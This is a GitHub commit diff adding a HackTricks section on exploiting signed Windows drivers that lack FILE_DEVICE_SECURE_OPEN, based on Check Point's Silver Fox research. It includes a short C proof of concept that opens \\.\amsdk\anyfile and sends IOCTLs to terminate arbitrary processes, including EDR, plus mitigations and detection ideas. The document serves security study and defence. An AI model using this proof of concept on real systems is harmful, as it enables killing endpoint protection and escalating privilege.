Skip to content

Commit 377de87

Browse files
authored
Merge pull request #1364 from HackTricks-wiki/update_Chasing_the_Silver_Fox__Cat___Mouse_in_Kernel_Shad_20250828_185321
Chasing the Silver Fox Cat & Mouse in Kernel Shadows
2 parents 525f6d7 + 49140b3 commit 377de87

1 file changed

Lines changed: 36 additions & 0 deletions

File tree

  • src/windows-hardening/windows-local-privilege-escalation

src/windows-hardening/windows-local-privilege-escalation/README.md

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -748,6 +748,40 @@ If a driver exposes an arbitrary kernel read/write primitive (common in poorly d
748748
arbitrary-kernel-rw-token-theft.md
749749
{{#endref}}
750750
751+
#### Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)
752+
753+
Some signed third‑party drivers create their device object with a strong SDDL via IoCreateDeviceSecure but forget to set FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Without this flag, the secure DACL is not enforced when the device is opened through a path containing an extra component, letting any unprivileged user obtain a handle by using a namespace path like:
754+
755+
- \\ .\\DeviceName\\anything
756+
- \\ .\\amsdk\\anyfile (from a real-world case)
757+
758+
Once a user can open the device, privileged IOCTLs exposed by the driver can be abused for LPE and tampering. Example capabilities observed in the wild:
759+
- Return full-access handles to arbitrary processes (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
760+
- Unrestricted raw disk read/write (offline tampering, boot-time persistence tricks).
761+
- Terminate arbitrary processes, including Protected Process/Light (PP/PPL), allowing AV/EDR kill from user land via kernel.
762+
763+
Minimal PoC pattern (user mode):
764+
```c
765+
// Example based on a vulnerable antimalware driver
766+
#define IOCTL_REGISTER_PROCESS 0x80002010
767+
#define IOCTL_TERMINATE_PROCESS 0x80002048
768+
769+
HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
770+
DWORD me = GetCurrentProcessId();
771+
DWORD target = /* PID to kill or open */;
772+
DeviceIoControl(h, IOCTL_REGISTER_PROCESS, &me, sizeof(me), 0, 0, 0, 0);
773+
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);
774+
```
775+
776+
Mitigations for developers
777+
- Always set FILE_DEVICE_SECURE_OPEN when creating device objects intended to be restricted by a DACL.
778+
- Validate caller context for privileged operations. Add PP/PPL checks before allowing process termination or handle returns.
779+
- Constrain IOCTLs (access masks, METHOD_*, input validation) and consider brokered models instead of direct kernel privileges.
780+
781+
Detection ideas for defenders
782+
- Monitor user-mode opens of suspicious device names (e.g., \\ .\\amsdk*) and specific IOCTL sequences indicative of abuse.
783+
- Enforce Microsoft’s vulnerable driver blocklist (HVCI/WDAC/Smart App Control) and maintain your own allow/deny lists.
784+
751785
752786
## PATH DLL Hijacking
753787
@@ -1848,4 +1882,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
18481882
18491883
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
18501884
1885+
- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
1886+
18511887
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)